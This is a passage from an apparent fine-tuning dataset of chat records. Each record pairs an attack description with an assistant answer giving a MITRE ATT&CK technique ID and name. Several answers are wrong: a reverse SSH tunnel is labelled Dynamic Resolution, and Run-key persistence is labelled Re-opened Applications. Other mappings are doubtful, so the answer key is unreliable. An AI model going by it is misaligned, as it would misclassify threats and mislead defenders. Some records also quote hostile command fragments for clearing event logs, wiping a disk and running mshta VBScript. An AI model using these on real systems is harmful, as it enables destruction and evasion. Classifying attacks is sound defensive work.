                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a payload and registers it in the XDG autostart configuration files, causing it to launch on desktop startup."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker used search engine operators like 'site:' and 'filetype:' to locate sensitive documents on the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals compromise a corporate email account and send spoofed invoices to finance personnel, tricking them into wiring money to offshore accounts."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators of a botnet systematically request URLs from a CDN to discover and collect exposed configuration scripts."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the component firmware with a backdoored image, granting them execution rights before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a reverse SSH tunnel to maintain persistent remote access through firewalls."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes a PowerShell script to execute malicious code on a compromised system and evade detection by traditional signature-based security controls."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining admin access to a virtual private server via a vulnerable container runtime, the adversary installs ransomware tools to distribute across the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs a check of the CPU serial number and halts execution if the serial number does not match the attacker‑specified identifier."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the rc.local file on a Linux system to launch a backdoor during boot."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script changes the SSH daemon configuration to allow only the obsolete 'arcfour' cipher, weakening the confidentiality of remote sessions."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages mshta with the command line: mshta vbscript:Execute(\"...\"), to run VBScript code in memory."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses Windows Management Instrumentation to create a domain account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a compromised AWS S3 bucket to push harvested files for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged Group Policy to deploy a malicious Windows service to all endpoints."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables automatic patching on cloud compute instances to maintain exploitable vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged PowerShell’s -EncodedCommand switch to run an obfuscated command line that downloads additional modules."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the registry keys controlling \"Turn off display after\" to keep the screen on for extended data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up a named pipe server that a secondary malicious process connects to for command and control."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor utilizes WMI to execute a base64‑encoded PowerShell command in memory, avoiding file system artifacts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses Active Setup to execute a batch file at user logon by setting the 'ComponentID' and 'StubPath' values under the HKLM registry branch."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor utilized SharePoint's webdav interface to copy internal policy documents to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a credential‑dumping utility by subscribing to a paid cybercrime forum service."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider edits a shared HTML help page on an internal wiki, inserting JavaScript that exfiltrates credentials when viewed."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates new PowerShell profiles with backdoors for persistence on a system, what tactic is being employed here?"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes screenshots of a fabricated security alert, convincing users to turn off real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries edit the “HKLM\\System\\CurrentControlSet\\Services\\EventLog” key to stop event collection."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a ransomware payload that, upon encryption, also performs a raw disk wipe to destroy remaining data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targeted cloud administrators, tricking them into revealing their Office 365 credentials via a fake login portal."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor pulls credentials from the LSA Secrets registry hive to reuse them."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a registry key to disable code signing enforcement for all users."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker disables antivirus services via PowerShell commands to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gained access to the web server and replaced the homepage HTML with a protest banner, effectively defacing the site."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invoked the system's default shell (bash) to alter sudoers configuration and elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the system's event logging policies to suppress recording of shell commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the victim’s Bluetooth stack to create a covert channel for sending exfiltrated data to a paired rogue device."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code hijacks the Windows Service Control Manager to replace the binary of a trusted service with a payload."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows command \"sc create\" to install a malicious service that executes a backdoor at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker publishes a malicious version of a popular npm package that, when installed, injects a backdoor into any Node.js application that depends on it."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group leveraged compromised Google Drive accounts to download corporate documents and share them over a private C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renames a malicious DLL to \"svchost.exe\" and places it in the system directory to blend with legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest domain certificates and public key information from the victim's public-facing services to assess encryption usage."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to the embedded controller firmware is delivered, granting the attacker early boot execution privileges."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stages harvested registry hives in a local hidden directory before transferring them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan posts encoded messages to a Slack channel via webhook, and the infected machine polls the channel to obtain further instructions."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary launches a high‑volume UDP flood against a victim’s public web server, overwhelming bandwidth and causing service outage."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor bypasses SSO restrictions by exploiting an OAuth token leakage and accesses Confluence's REST endpoints to download files."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage social engineering to ask victims to provide their email address via a bogus survey hosted on a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a DLL injection to call CredEnumerate and dump credentials from Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafted a personalized email referencing a recent project, embedding a malicious hyperlink that downloaded a credential‑stealing tool when visited."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake game patch is offered on a forum; the user downloads and runs the .exe patch, which actually installs ransomware on the computer."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the AWS CLI to run 'aws iam create-user' and then attaches a policy granting S3 access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script authored in Visual Basic reads browser history files and transmits them over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a lateral movement attempt, the actor deployed a file titled \"cmd .exe\" on remote hosts, using the space to hide the malicious executable among trusted system binaries."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party backup service reveals plaintext email credentials of organization users."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑compromise operation involved resetting the timestamps of newly created backdoor files to the system boot time."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in LastPass to dump the stored password vault."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool encrypts its beacon traffic with AES-256 before sending it to the command server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a remote code execution vulnerability on the public web application, then used it to upload defacement HTML pages to the server."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the group used a custom tool to empty the victim's mailbox on the mail server, erasing traces of the breach."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload drops a loader that sets up a ChaCha20 encrypted channel for its command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvests Kerberos tickets from a compromised workstation and uses them to authenticate to other machines without credentials."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script modifies the Kubernetes RBAC bindings to grant the attacker cluster‑admin privileges for a limited time."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a proprietary reversible encoding that swaps each byte with its complement before exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man‑in‑the‑middle proxy, the malicious actor captures the Set‑Cookie header from HTTP responses to obtain active session tokens."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider copies a malicious .lnk file with a copied Microsoft Office icon onto shared network drives, hoping employees will click it and launch the backdoor."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a remote PowerShell session to execute \"Clear-Volume -DriveLetter D -RemoveData\" on the target workstation."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor issues Kerberos service ticket requests for many service accounts, captures the encrypted tickets, and then brute‑forces the hashes to recover credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executed 'wevtutil cl Setup' from a remote PowerShell session to delete setup event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a payload that programmatically edits the file's ADS to delete its Zone.Identifier, subverting trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a reverse shell that tunnels through an SSH connection to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchased a virtual private server through a fake identity to host an exfiltration server for stolen data."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the contents of the Local AppData folder to collect credential files and then exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code registers itself in the 'Run' registry hive to guarantee reopening after each user login."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs the `dpkg -l` command to gather software details from a compromised Ubuntu machine."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
